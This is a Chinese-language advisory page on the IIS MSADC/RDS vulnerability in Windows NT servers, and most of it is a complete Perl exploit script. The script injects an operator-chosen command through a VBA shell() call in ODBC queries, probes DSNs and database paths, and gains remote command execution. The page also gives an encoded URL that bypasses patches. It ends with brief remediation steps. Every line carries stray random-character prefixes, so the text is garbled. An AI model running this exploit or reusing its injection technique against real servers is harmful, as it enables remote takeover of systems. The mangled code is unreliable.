IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
KiAcA]0 z(me @P!D~ 涉及程序：
Uoj i@ Microsoft NT server
s<vs:jna t`5j4bdG 描述：
zA s&%OjG 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
A59 gIp*> 9#k0_vDoW 详细：
p@y gne 4
如果你没有时间读详细内容的话，就删除:
dl0FQNz8@B c:\Program Files\Common Files\System\Msadc\msadcs.dll
XP-C 有关的安全问题就没有了。
|]W2EV ,b #?Mj$ZB 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
k4{:9zL1#? B
+Aj*\Y. 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
S~)w\(r 关于利用ODBC远程漏洞的描述，请参看:
{.CMD9F[ Jdj?I'XtY http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 51 b y ~W03{9(Vp8 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
l -.( Ez* http://www.microsoft.com/security/bulletins/MS99-025faq.asp pu4,0bw xWE 8W m 这里不再论述。
CzVmNy)kl KX3KM!* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
^Ga&}- =X 1?_~} /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
;..o7I 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
1 ] #9
K
|*5Kw i G[Tl%w #将下面这段保存为txt文件，然后: "perl -x 文件名"
cozXb$bBY gU1 #`r>[) #!perl
,9of(T(~ #
:243 H # MSADC/RDS 'usage' (aka exploit) script
/ty?<24ko #
B,vOsa"x6` # by rain.forest.puppy
:%X Ls , #
}Qr6 l/2 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
UE :HMn6 # beta test and find errors!
[} 2Z/
2.lgT|p use Socket; use Getopt::Std;
GABQUmtH getopts("e:vd:h:XR", \%args);
PJ LR<9 ]@
M5_%p print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Yr+ 23Ro 7G9 3,dJ if (!defined $args{h} && !defined $args{R}) {
#X`8dnQZ print qq~
K84^ O q Usage: msadc.pl -h <host> { -d <delay> -X -v }
^G|98yc!' -h <host> = host you want to scan (ip or domain)
S%mfs!E> -d <seconds> = delay between calls, default 1 second
Ug%_@t/? -X = dump Index Server path table, if available
jQh^WmN -v = verbose
{Wv% zA*8 -e = external dictionary file for step 5
>v+ jh(^ 0Scm? l3 Or a -R will resume a command session
\9{F5S z }|wv]U~ ~; exit;}
: c.JhE3D q%/ u QT? $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
oxz{ ejd{ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
kc$)^E 7 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+wO#'D if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
pz|'l:v^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~DF:lqwWP if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1(#;&:$`i d 8 o53a] if (!defined $args{R}){ $ret = &has_msadc;
-db75= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\3XqHf3|o ^%>kO, print "Please type the NT commandline you want to run (cmd /c assumed):\n"
m D58T2 Z . "cmd /c ";
jd-glE,Y/ $in=<STDIN>; chomp $in;
F<&!b2)ML $command="cmd /c " . $in ;
LnsD Ao9R:|9 if (defined $args{R}) {&load; exit;}
CE%_A[a %O[N}_XHEh print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
kv{}C)kt3 &try_btcustmr;
?>
D tw#} GqKsK
r2% print "\nStep 2: Trying to make our own DSN...";
zaimGMJ , &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
TQ@d~GR Wp0
Dq( print "\nStep 3: Trying known DSNs...";
}8K4-[\ &known_dsn;
YT#3 n ]lO h&Cz[ print "\nStep 4: Trying known .mdbs...";
/+]s.V. &known_mdb;
`~BZ1)@ tY|8s]{2 if (defined $args{e}){
G}d-(X print "\nStep 5: Trying dictionary of DSN names...";
m#!=3P7T &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
YB( Gk;] Qdk 6Qubi! print "Sorry Charley...maybe next time?\n";
v`PY>c6~ exit;
*Zk>2<^R *fMpZ+;[m ##############################################################################
dl-l"9~ ; p=Q0!!_r sub sendraw { # ripped and modded from whisker
7 - d.ZG sleep($delay); # it's a DoS on the server! At least on mine...
wK_]/ Q-L my ($pstr)=@_;
Z8O n%Mx{" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
`)iY}Iu die("Socket problems\n");
&[Xu!LP if(connect(S,pack "SnA4x8",2,80,$target)){
fV>CZ^=G select(S); $|=1;
\nNXxTxX! print $pstr; my @in=<S>;
dihjpI_ select(STDOUT); close(S);
}yn0IWVa return @in;
kRJ4-n^@>< } else { die("Can't connect...\n"); }}
g=L] S-e 56lCwXCgA ##############################################################################
YY((#"o;l D/y bFk sub make_header { # make the HTTP request
hwYQGtjF my $msadc=<<EOT
H6*^Ga POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
H`hnEOyLp User-Agent: ACTIVEDATA
<x pph
t< Host: $ip
ZUm?*.g\^ Content-Length: $clen
\>. LW9 Connection: Keep-Alive
M9\# Aq&\i }|OaL*|u ADCClientVersion:01.06
>SF Uy\3 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1$/MrPT(b &F
*' B|n --!ADM!ROX!YOUR!WORLD!
zE T^T5>: Content-Type: application/x-varg
B(g _Gm< Content-Length: $reqlen
Q#I"_G&{ C*=Xk/0 EOT
K 7knK ; $msadc=~s/\n/\r\n/g;
fE f_F
r return $msadc;}
\W5O&G-C JCx
WWre ##############################################################################
+j _ ;(Gw7 .T<= z sub make_req { # make the RDS request
39 81ie my ($switch, $p1, $p2)=@_;
VZr>U*J[: my $req=""; my $t1, $t2, $query, $dsn;
`_I@i]i^ Qf M zF if ($switch==1){ # this is the btcustmr.mdb query
]B"'}%>ez $query="Select * from Customers where City=" . make_shell();
jdZ~z#`(!: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
H(c72]@Vg $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
lf{e[!ML' ~)LH='|h\} elsif ($switch==2){ # this is general make table query
E907fX[R~ $query="create table AZZ (B int, C varchar(10))";
{R<Ea
@LV+ $dsn="$p1";}
>zsid :
/-_=nf}w elsif ($switch==3){ # this is general exploit table query
(
9!k# $query="select * from AZZ where C=" . make_shell();
H`bSYjgM! $dsn="$p1";}
K%<j=c :NHH
Dl elsif ($switch==4){ # attempt to hork file info from index server
xJ^ >pg8 $query="select path from scope()";
G@FI0\t $dsn="Provider=MSIDXS;";}
[v 7^i_d $E<Esf$ elsif ($switch==5){ # bad query
fqX"Lus `= $query="select";
ZRxZume<f
$dsn="$p1";}
00I}o%akO Ars687WB $t1= make_unicode($query);
E1dD7r\ $t2= make_unicode($dsn);
^'CPM6J $req = "\x02\x00\x03\x00";
Xp\/YJOibd $req.= "\x08\x00" . pack ("S1", length($t1));
<?-Y TY| $req.= "\x00\x00" . $t1 ;
w{[=l6L m $req.= "\x08\x00" . pack ("S1", length($t2));
4%4avEa"w $req.= "\x00\x00" . $t2 ;
2]GdD* $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
1_fZm+oW! return $req;}
;{ i'#rn{ 6R- &-4 ##############################################################################
YBYZ=,"d x";w% sub make_shell { # this makes the shell() statement
t*z~5_/ return "'|shell(\"$command\")|'";}
<DKS +R m }a|F S ##############################################################################
Y$N)^=7 />¬$> sub make_unicode { # quick little function to convert to unicode
B] m@:|Q my ($in)=@_; my $out;
4c
oJRqf= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
0&qr return $out;}
GoA4f 3 yKYUsp ##############################################################################
Qy<[7 gmIqT
f sub rdo_success { # checks for RDO return success (this is kludge)
EXP%Mk/ my (@in) = @_; my $base=content_start(@in);
U4m9e|/H;z if($in[$base]=~/multipart\/mixed/){
/{wJEuE return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Hsih[f return 0;}
/? r?it Z3>N<u8) ##############################################################################
4 S~o-`&W h\ plQ[T sub make_dsn { # this makes a DSN for us
8N:owK my @drives=("c","d","e","f");
jV .g}F+1m print "\nMaking DSN: ";
4}_O`Uxh foreach $drive (@drives) {
Gl1jxxd print "$drive: ";
,Jc m+ Wb my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
^w ] / "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
REZJ}%}/ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S3L~~X/= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
obdFS,JxxG return 0 if $2 eq "404"; # not found/doesn't exist
[
W2fd\4 if($2 eq "200") {
%6AW7q
t foreach $line (@results) {
KD/V aN return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
pF
^#}L } return 0;}
#cj6{%c 4 /R>nr" ##############################################################################
MCU_Z[N#10 *~m+Nc`D,N sub verify_exists {
8ElKD{.BU8 my ($page)=@_;
\Mg`(,kwe my @results=sendraw("GET $page HTTP/1.0\n\n");
[tMZ G%h return $results[0];}
jTL Sdul+ R!l:O=[< ##############################################################################
u:aW 8 vG \a1H sub try_btcustmr {
SQeRSz8bK4 my @drives=("c","d","e","f");
YF+n
b.0. my @dirs=("winnt","winnt35","winnt351","win","windows");
`ptj? 6N- n@ w^ V foreach $dir (@dirs) {
sA g Kg=) print "$dir -> "; # fun status so you can see progress
ZeG_en ; foreach $drive (@drives) {
]sk koM print "$drive: "; # ditto
?"z]A7 <Hj $reqlen=length( make_req(1,$drive,$dir) ) - 28;
8/0Y vh $reqlenlen=length( "$reqlen" );
*3T| M@Y $clen= 206 + $reqlenlen + $reqlen;
}I@L}f5N )DYI
. my @results=sendraw(make_header() . make_req(1,$drive,$dir));
"t^URp3 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
b;)~w U= else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%0? M?Jf J9K3s_SN ##############################################################################
^(* n] oI^4pwn h sub odbc_error {
#Rg|BfV- my (@in)=@_; my $base;
p{PE@KO : my $base = content_start(@in);
-s9P 8W if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7}*6#KRG $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
WM)-J^)BJ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9;? UvOI; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XUuu-wm:} return $in[$base+4].$in[$base+5].$in[$base+6];}
97K[(KE print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ljK rj print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
a>mm+L 8y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
$lhC{&tBV 7LO%#No", ##############################################################################
C/(M"j M ]v#r4Ert sub verbose {
c1%H4j4/ my ($in)=@_;
CRbdAqofV return if !$verbose;
_ Ro! "YVX print STDOUT "\n$in\n";}
l2; CQ7 >5Wlc $bc ##############################################################################
SZJ$w-<z /m!Cc/Hv sub save {
)[1)$-Ru my ($p1, $p2, $p3, $p4)=@_;
f]7M'sy | open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\,J/ r! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
7Sz?S_N/j close OUT;}
F @Te@n iD= p\ ##############################################################################
RZ1
/#; K-&V,MI sub load {
ZNYH#mJX* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
p$ bnK ] open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[frq
'c @p=<IN>; close(IN);
",{ibh)g$` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
o[E_Ge}g8 $target= inet_aton($ip) || die("inet_aton problems");
<(vCiH9~P print "Resuming to $ip ...";
Q:ezi fQ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6%Be36< if($p[1]==1) {
V 21njRS $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
YDGS}~m~Q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
IF]lHB my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
y^7}oH _ if (rdo_success(@results)){print "Success!\n";}
CR2_;x:0 else { print "failed\n"; verbose(odbc_error(@results));}}
kD[ r.Dma elsif ($p[1]==3){
nI0[;'Hn, if(run_query("$p[3]")){
ZylJp8U print "Success!\n";} else { print "failed\n"; }}
Bo5ZZY elsif ($p[1]==4){
7} jWBK if(run_query($drvst . "$p[3]")){
! ZU2{ print "Success!\n"; } else { print "failed\n"; }}
c$wsH25KH8 exit;}
~^+0 W
d0NT@ ##############################################################################
\P1= 5rP Dde]I_f} sub create_table {
M4xi1M#% my ($in)=@_;
0-{t FN $reqlen=length( make_req(2,$in,"") ) - 28;
;;A2!w{}[i $reqlenlen=length( "$reqlen" );
e L.(p
k^< $clen= 206 + $reqlenlen + $reqlen;
m[k_>e\ u my @results=sendraw(make_header() . make_req(2,$in,""));
85;b9k&\M return 1 if rdo_success(@results);
GJqE!I,. my $temp= odbc_error(@results); verbose($temp);
9;xM% return 1 if $temp=~/Table 'AZZ' already exists/;
TNJG#8 n%Y return 0;}
MQ KfJru7 |pa$*/!NT ##############################################################################
uytE^ @(C1_ sub known_dsn {
GElvz'S~ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
UU8pz{/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
W5#61 1 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
I7^zU3]Ul "banner", "banners", "ads", "ADCDemo", "ADCTest");
pu,?<@0YK zS] 8V?` foreach $dSn (@dsns) {
7)%+=@ print ".";
67y Tvr@a next if (!is_access("DSN=$dSn"));
h_d<! if(create_table("DSN=$dSn")){
CkswJ:z)sc print "$dSn successful\n";
.G o{1[ if(run_query("DSN=$dSn")){
cwV]!=RtO print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5[n(7 ;+gw print "Something's borked. Use verbose next time\n";}}} print "\n";}
gl&5l1& h~wi6^{&Y ##############################################################################
3Tq\BZ ^ 9-&o sub is_access {
X>?b#Eva my ($in)=@_;
Mc!Xf[ $reqlen=length( make_req(5,$in,"") ) - 28;
)#F]G$51r $reqlenlen=length( "$reqlen" );
,sGZ2=M}J $clen= 206 + $reqlenlen + $reqlen;
FYS/##r my @results=sendraw(make_header() . make_req(5,$in,""));
upvS|KUil my $temp= odbc_error(@results);
l]<L [Y,E- verbose($temp); return 1 if ($temp=~/Microsoft Access/);
moVbw`T return 0;}
81*M= ? P=1I<Pe w ##############################################################################
J9T3nTfL %6--}bY^ sub run_query {
7Ol}EPf# my ($in)=@_;
H:H6b $reqlen=length( make_req(3,$in,"") ) - 28;
=+w*gDr $reqlenlen=length( "$reqlen" );
;L&TxO>#J $clen= 206 + $reqlenlen + $reqlen;
E\m5%bK\B my @results=sendraw(make_header() . make_req(3,$in,""));
]59i> return 1 if rdo_success(@results);
c]B$i*t my $temp= odbc_error(@results); verbose($temp);
-YD+(c`l return 0;}
N8`?t5 Z0De!?ALV\ ##############################################################################
2DD:~Tbi R}mn* h6 sub known_mdb {
^s.V;R my @drives=("c","d","e","f","g");
mZIoaF>t my @dirs=("winnt","winnt35","winnt351","win","windows");
b|z g< my $dir, $drive, $mdb;
Z!0]/ mCE8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
"7>>I D f&D]anf33 # this is sparse, because I don't know of many
P,=+W(s9} my @sysmdbs=( "\\catroot\\icatalog.mdb",
q.2(OP>( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
kF7V.m/~o "\\system32\\certmdb.mdb",
bx K(9. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
E+C5 h
;p& i@NqC;~; my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_tr<}PnZ "\\cfusion\\cfapps\\forums\\forums_.mdb",
U}SXJH&&E "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
a(]`F(L "\\cfusion\\cfapps\\security\\realm_.mdb",
XBQ\_2> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#"fJa:IYG7 "\\cfusion\\database\\cfexamples.mdb",
d2s OYCKe "\\cfusion\\database\\cfsnippets.mdb",
g]UB Z33y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^TB>.c@ `* "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Q
!qrNa6 "\\cfusion\\brighttiger\\database\\cleam.mdb",
B^D(5 "\\cfusion\\database\\smpolicy.mdb",
^KB~*'DN~s "\\cfusion\\database\cypress.mdb",
q %A?V _ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
)5fQ$<(Z "\\website\\cgi-win\\dbsample.mdb",
Hyi F y7j "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
#E0t?:t5bk "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
4x%(9_8 {- ); #these are just
oPc\<$ foreach $drive (@drives) {
Hx $c
N foreach $dir (@dirs){
9;%CH b& foreach $mdb (@sysmdbs) {
.k4W_9 print ".";
`bKA+c,f if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
D\ / xu-& print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
NrDi if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
@5)
8L/[l print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
xyr+_k-x&q } else { print "Something's borked. Use verbose next time\n"; }}}}}
(wmBjQ]B<
wiX ~D
foreach $drive (@drives) {
hC_Vts[v/ foreach $mdb (@mdbs) {
,%bhyww< print ".";
U= sh[W if(create_table($drv . $drive . $dir . $mdb)){
i~J;G#b print "\n" . $drive . $dir . $mdb . " successful\n";
YG c^h(d if(run_query($drv . $drive . $dir . $mdb)){
?t@ v&s print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
h;lirvO| } else { print "Something's borked. Use verbose next time\n"; }}}}
*b}>cn)<v
}
(yo;NKq,@ <ktz T&A ##############################################################################
)x#5Il
H ]<DNo&fw sub hork_idx {
9]$8M Y print "\nAttempting to dump Index Server tables...\n";
a'\By?V]
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
')S;[= v $reqlen=length( make_req(4,"","") ) - 28;
vhr+g 'tf $reqlenlen=length( "$reqlen" );
}G$]LWgQx $clen= 206 + $reqlenlen + $reqlen;
yz+, gLY my @results=sendraw2(make_header() . make_req(4,"",""));
~#\i!I;RY} if (rdo_success(@results)){
6pE :A@ my $max=@results; my $c; my %d;
h x6;YV for($c=19; $c<$max; $c++){
!S%6Uzsj $results[$c]=~s/\x00//g;
&p<(_|Af $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
BcA31% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+5 v}q.:+ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#$vRJ#S} U $d{"$1$2"}="";}
&@"]+33 foreach $c (keys %d){ print "$c\n"; }
?B.~ AUN } else {print "Index server doesn't seem to be installed.\n"; }}
n A>sHy }2)DPP:ic ##############################################################################
5s de KRsAv^'] sub dsn_dict {
I>h<b _y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
y?[snrK G while(<IN>){
nD" ~?*Lt $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
RANPi\] next if (!is_access("DSN=$dSn"));
#y]3LC#)^G if(create_table("DSN=$dSn")){
yj @tV2 print "$dSn successful\n";
q&'Lbxc>c if(run_query("DSN=$dSn")){
/.5;in print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
k6IG+:s print "Something's borked. Use verbose next time\n";}}}
V[pvJ( print "\n"; close(IN);}
C-P06Q] c.H?4j7ga ##############################################################################
PBks`
|+ RK9>dk W sub sendraw2 { # ripped and modded from whisker
O}Ui`eWU sleep($delay); # it's a DoS on the server! At least on mine...
[_y@M
] my ($pstr)=@_;
_baYn`tFw- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s _jBu die("Socket problems\n");
4a ZCFdc if(connect(S,pack "SnA4x8",2,80,$target)){
c( - Mc6 print "Connected. Getting data";
xSpC'"
open(OUT,">raw.out"); my @in;
MrE<vw@he select(S); $|=1; print $pstr;
Ni[4OR$- O while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
UkR3}{i close(OUT); select(STDOUT); close(S); return @in;
D1,O:+[;. } else { die("Can't connect...\n"); }}
rqCa 2 wCZO9sU:6= ##############################################################################
|pZo2F!. gvli % 9n sub content_start { # this will take in the server headers
71B3 a my (@in)=@_; my $c;
E(+T* for ($c=1;$c<500;$c++) {
)&W|QH=AI if($in[$c] =~/^\x0d\x0a/){
^>~dlS if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!^U6Z@&/ R else { return $c+1; }}}
{j(4m return -1;} # it should never get here actually
!>;w!^U %|3e.1oX ##############################################################################
}IUP5O6 < z#BsnjW{ sub funky {
Zcd7*EBdx my (@in)=@_; my $error=odbc_error(@in);
tw qFs if($error=~/ADO could not find the specified provider/){
zCXqBuvu1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
){Z exit;}
yYAnwf if($error=~/A Handler is required/){
#dJ 2Q_2 print "\nServer has custom handler filters (they most likely are patched)\n";
_=`x])mM exit;}
o0 ;7b>Tv if($error=~/specified Handler has denied Access/){
eFQ QW`J print "\nServer has custom handler filters (they most likely are patched)\n";
3_qdJ<, exit;}}
9n}A ^ }(i(Ar- ##############################################################################
c]Unbm^ w &>}.RX]t sub has_msadc {
;cSGlE | my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
:B#EqeI my $base=content_start(@results);
y ~#\#w { return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
ZW y e> ] return 0;}
2o{@nN8% %= u/3b:o ########################
$ >v y(Y m^$5K's& qMgfMhQ7DU 解决方案：
hN4VlNKu 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
&zN@5m$k; 2、移除web 目录: /msadc
